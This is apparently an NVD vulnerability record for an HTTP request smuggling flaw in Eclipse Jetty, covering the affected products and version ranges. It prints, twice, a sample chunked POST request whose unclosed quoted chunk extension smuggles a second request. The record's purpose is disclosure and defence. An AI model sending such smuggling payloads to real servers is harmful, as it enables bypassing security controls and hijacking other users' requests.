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This CVE record has been updated after NVD enrichment efforts were completed. Enrichment data supplied by the NVD may require amendment due to these changes.
Description
In Eclipse Jetty, the HTTP/1.1 parser is vulnerable to request smuggling when chunk extensions are used, similar to the "funky chunks" techniques outlined here:
* https://w4ke.info/2025/06/18/funky-chunks.html
* https://w4ke.info/2025/10/29/funky-chunks-2.html
Jetty terminates chunk extension parsing at \r\n inside quoted strings instead of treating this as an error.
POST / HTTP/1.1
Host: localhost
Transfer-Encoding: chunked
1;ext="val
X
0
GET /smuggled HTTP/1.1
...
Note how the chunk extension does not close the double quotes, and it is able to inject a smuggled request.
Metrics
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[{"vendor":"Red Hat","product":"Red Hat Enterprise Linux CodeReady Linux Builder (v. 9)","defaultStatus":"affected","cpes":["cpe:/a:redhat:enterprise_linux:9::crb"]},{"vendor":"Red Hat","product":"HawtIO HawtIO 4.4.0","defaultStatus":"affected","cpes":["cpe:/a:redhat:apache_camel_hawtio:4.4::el9"]},{"vendor":"Red Hat","product":"Red Hat AMQ Broker 7.13.5","defaultStatus":"affected","cpes":["cpe:/a:redhat:amq_broker:7.13"]},{"vendor":"Red Hat","product":"Red Hat Build of Apache Camel 4.18 for Quarkus 3.33","defaultStatus":"affected","cpes":["cpe:/a:redhat:apache_camel_quarkus:3.33"]},{"vendor":"Red Hat","product":"Red Hat Offline Knowledge Portal 1.2.6","defaultStatus":"affected","cpes":["cpe:/a:redhat:offline_knowledge_portal:1.2::el9"]},{"vendor":"Red Hat","product":"Red Hat OpenShift Dev Spaces 3.27","defaultStatus":"affected","cpes":["cpe:/a:redhat:openshift_devspaces:3.27::el9"]},{"vendor":"Red Hat","product":"Red Hat build of Apache Camel 4.18.1 for Spring Boot 3.5.14","defaultStatus":"affected","cpes":["cpe:/a:redhat:apache_camel_spring_boot:4.18"]},{"vendor":"Red Hat","product":"OpenShift Developer Tools and Services","defaultStatus":"affected","cpes":["cpe:/a:redhat:ocp_tools"]},{"vendor":"Red Hat","product":"Red Hat AMQ Broker 7","defaultStatus":"affected","cpes":["cpe:/a:redhat:amq_broker:7"]},{"vendor":"Red Hat","product":"Red Hat build of Apache Camel 4 for Quarkus 3","defaultStatus":"affected","cpes":["cpe:/a:redhat:camel_quarkus:3"]},{"vendor":"Red Hat","product":"Red Hat build of Debezium 2","defaultStatus":"affected","cpes":["cpe:/a:redhat:debezium:2"]},{"vendor":"Red Hat","product":"Red Hat build of Debezium 3","defaultStatus":"affected","cpes":["cpe:/a:redhat:debezium:3"]},{"vendor":"Red Hat","product":"Red Hat Fuse 7","defaultStatus":"affected","cpes":["cpe:/a:redhat:jboss_fuse:7"]},{"vendor":"Red Hat","product":"Red Hat JBoss Web Server 6","defaultStatus":"affected","cpes":["cpe:/a:redhat:jboss_enterprise_web_server:6"]},{"vendor":"Red Hat","product":"Red Hat Satellite 6","defaultStatus":"affe
OR
*cpe:2.3:a:eclipse:jetty:*:*:*:*:*:*:*:* versions from (including) 10.0.0 up to (excluding) 10.0.28
*cpe:2.3:a:eclipse:jetty:*:*:*:*:*:*:*:* versions from (including) 11.0.0 up to (excluding) 11.0.28
*cpe:2.3:a:eclipse:jetty:*:*:*:*:*:*:*:* versions from (including) 12.0.0 up to (excluding) 12.0.33
*cpe:2.3:a:eclipse:jetty:*:*:*:*:*:*:*:* versions from (including) 12.1.0 up to (excluding) 12.1.7
*cpe:2.3:a:eclipse:jetty:*:*:*:*:*:*:*:* versions from (including) 9.4.0 up to (excluding) 9.4.60
New CVE Received from Eclipse Foundation4/14/2026 8:16:21 AM
Action
Type
Old Value
New Value
Added
Description
In Eclipse Jetty, the HTTP/1.1 parser is vulnerable to request smuggling when chunk extensions are used, similar to the "funky chunks" techniques outlined here:
* https://w4ke.info/2025/06/18/funky-chunks.html
* https://w4ke.info/2025/10/29/funky-chunks-2.html
Jetty terminates chunk extension parsing at \r\n inside quoted strings instead of treating this as an error.
POST / HTTP/1.1
Host: localhost
Transfer-Encoding: chunked
1;ext="val
X
0
GET /smuggled HTTP/1.1
...
Note how the chunk extension does not close the double quotes, and it is able to inject a smuggled request.
) or https:// means you've safely connected to the .gov website. Share sensitive information only on official, secure websites.
